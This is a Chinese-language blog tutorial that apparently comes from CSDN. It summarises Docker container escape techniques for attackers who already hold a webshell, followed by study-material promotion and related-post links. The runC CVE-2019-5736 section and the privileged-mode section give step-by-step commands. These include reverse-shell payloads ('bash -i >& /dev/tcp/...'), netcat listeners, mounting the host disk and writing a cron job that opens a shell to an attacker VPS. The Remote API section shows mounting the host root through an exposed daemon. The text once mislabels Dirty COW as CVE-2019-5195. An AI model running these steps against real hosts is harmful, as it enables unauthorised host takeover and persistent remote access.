docker逃逸方法汇总与简要分析

概括:

渗透测试拿到webshell后,发现主机是docker环境,要想一步渗透,就必须逃逸到"宿主机"。甚至还有物理机运行虚拟机,虚拟机运行Docker容器的情况。那就还要虚拟机逃逸了。

如何判断当前机器是否为Docker 容器环境

1、Metasploit 中的 checkcontainer 模块、(判断是否为虚拟机,checkvm 模块)

该模块其实进行了如下操作

2、检查根目录下是否存在.dockerenv文件

3、检查 /proc/1/cgroup 是否存在含有docker字符串!

4、容器ip多是172.17IP段的,而且很多命令诸如vim都是无法没有安装的

docker 逃逸的方法

1、由内核引起的的dirty cow实现逃逸----CVE-2019-5195

2、软件程序引起的docker逃逸漏洞----CVE-2019-5736

3、docker配置不当引起的----特权模式逃逸

一、内核漏洞 Dirty Cow(CVE-2016-5195)

漏洞原理

此漏洞是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。

docker寄存于宿主机当中,与宿主机共享内核,故docker容器存在于diry cow漏洞的宿主机当中

影响的范围:Linux内核>= 2.6.22

利用 uname -a查看系统内核的全部信息

举例:

测试工具:

官方EXP:https://github.com/dirtycow/dirtycow.github.io

提权为root权限的EXP一:https://github.com/FireFart/dirtycow

提权为root权限的EXP二:https://github.com/gbonacini/CVE-2016-5195

二、runC 容器逃逸漏洞CVE-2019-5736

漏洞点在于runC

概念

runC

runC是docker中最为核心的部分,容器的创建、运行、销毁等操作都是通过runC程序来完成的,它为用户提供了一种统一的方式来管理容器的生命周期,使得容器应用程序可以在不同的操作系统上以可移植的方式运行。

受影响的版本

Docker Version < 18.09.2

runC Version <= 1.0-rc6

通过 docker 和docker-runc 查看当前版本情况。

利用步骤

第一步:目标环境需要是docker环境

前提:首先目标机器,需要在docker环境当中(这里可以随便启动一个vulhub的漏洞靶场作为掩饰)

第二步:运用POC脚本

复制代码
https://github.com/Frichetten/CVE-2019-5736-PoC

修改Payload,修改反弹shell的VPS机器

复制代码
var payload = "sh -i >& /dev/tcp/192.168.111.14/9999 0>&1" 

第三步:编译GO脚本

安装完毕GO环境之后编译,生成可执行的脚本main

复制代码
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

第四步:将编译好的main文件上传到docker中

(模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸)

可以用python启动环境,在docker中进行下载,或者放到github当中使用git clone下载,亦或者docker ps尝试

第五步:执行并等待此docker再次被exec,查看看脚本是否拷进容器并启动main脚本

复制代码
docker exec -it xxxx /bin/bash

第六步:攻击机开启监听

例如:nc -lvvp 9999

受害机在此启动一个新终端,执行如下命令再次进入容器,便会立刻触发payload反弹shell到VPS的监听端口,此时权限为系统权限,那么docker逃逸成功

复制代码
docker exec -it xxxx /bin/sh 

总结:此方法需要有人使用exec执行,进入docker环境才可以逃逸

三、配置不当的docker逃逸

详见:云安全攻防(八)之 Docker Remote API 未授权访问逃逸_docker remote api 未授权访问漏洞-CSDN博客

1.docket remote api未授权访问导致逃逸

简介

Docker Remote API 是一个取代远程命令行界面(rcli)的REST API,它允许用户通过RESTful API与Docker引擎进行交互,这意味着开发人员可以使用HTTP请求来远程管理和控制Docker引擎,包括创建、启动、停止和删除容器,构建和管理镜像,以及执行其他与Docker相关的操作。

Docker Remote API如配置不当可导致未授权访问,攻击者利用 docker client 或者 http 直接请求就可以访问这个 API,可能导致敏感信息泄露,黑客也可以删除Docker上的数据。

搭建环境

环境搭建

首先我们执行如下的代码将 docker 守护进程监听在 0.0.0.0

复制代码
dockerd -H=0.0.0.0:2375 -H unix:///var/run/docker.sock
  • -H=0.0.0.0:2375:指定 Docker daemon 监听的 TCP 端点地址和端口号。0.0.0.0 表示绑定到任何可用网络接口上,即允许从其他主机上的容器或者计算机上运行的 Docker 客户端连接。2375 是 Dockerdaemon 监听的端口号
  • -H unix:///var/run/docker.sock:指定 Docker daemon 监听的 Unix 域套接字路径,即 /var/run/docker.sock

运行这个命令,Docker daemon 将同时监听 TCP 端点和 Unix 域套接字,并且没有安全保护

执行后出现上面错误是由于当前环境docker已经在运行中了,需要先停止docker

复制代码
systemctl stop docker

再次执行

复制代码
dockerd -H=0.0.0.0:2375 -H unix:///var/run/docker.sock

漏洞探测

利用curl 192.168.111.14/info,返回内容含有DockerRootDir等字符,则证明存在docker未授权访问漏洞

复制代码
curl 192.168.111.14:2375/info | grep DockerRootDir

或者执行以下命令,然后查看info文件,道理相同

复制代码
IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && wget http://$192.168.111.14:2375/info

漏洞复现

启动新容器,以sh或者/bin/bashl启动,将该宿主机服务器的根目录挂在到容器的/mnt目录下,这时修改/mnt/etc/crontab相当于修改/etc/crontab文件

复制代码
docker -H tcp://192.168.111.14:2375 run -it -v /:/mnt nginx:latest /bin/bash 或者sh

返回该容器宿主机的shell

到mnt目录下,可逃逸到宿主机

2.特权逃逸

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行 docker run privileged 时,Docker 容器将被允许访问主机上的所有设备,并可以执行 mount 命令进行 挂载。

1、以特权模式运行一个docker容器

docker run -it --privileged xxxxxx /bin/bash

2、查看磁盘文件

3、创建一个文件夹,并将sda1挂载到该创建的文件夹中

复制代码
mkdir /zhang  #zhang文件夹相当于对方主机的根目录,可以进行写文件操作。
mount /dev/vda1 /zhang

4、写入计划任务到宿主机

复制代码
echo '* * * * * bash -i >& /dev/tcp/vps的ip/9999 0>&1' >> /nuoyan/var/spool/cron/root

5、在vps上等待shell反连接

复制代码
nc -lvvp 9999

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

1️⃣零基础入门

① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图 。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

因篇幅有限,仅展示部分资料

2️⃣视频配套资料&国内外网安书籍、文档

① 文档和书籍资料

② 黑客技术

因篇幅有限,仅展示部分资料

4️⃣网络安全面试题

5️⃣汇总

所有资料 ⚡️ ,朋友们如果有需要全套 《网络安全入门+进阶学习资源包 》,扫码获取~

相关推荐
SAP工博科技1 小时前
SAP ERP与微软ERP dynamics对比,两款云ERP产品有什么区别?
microsoft·sap·erp·dynamics
Leinwin1 小时前
微软发布BioEmu模型
microsoft
药9551 小时前
网络编程(TCP连接)
运维·服务器
ZLJ0507241 小时前
网络安全的基本练习
安全·网络安全
桑晒.2 小时前
Webshell连接工具原理
安全·web安全·网络安全
ikun·2 小时前
Kubernetes 高级调度01
云原生·容器·kubernetes
菜萝卜子2 小时前
【Linux】Ubuntu22.04安装zabbix
linux·运维·zabbix
电信2301杨臣2 小时前
Imx6ull用网线与电脑连接
运维·服务器·网络
艾伦_耶格宇2 小时前
【DOCKER】-4 dockerfile镜像管理
运维·docker·容器
什么半岛铁盒2 小时前
MySQL数据库的基础操作
linux·运维·服务器·mysql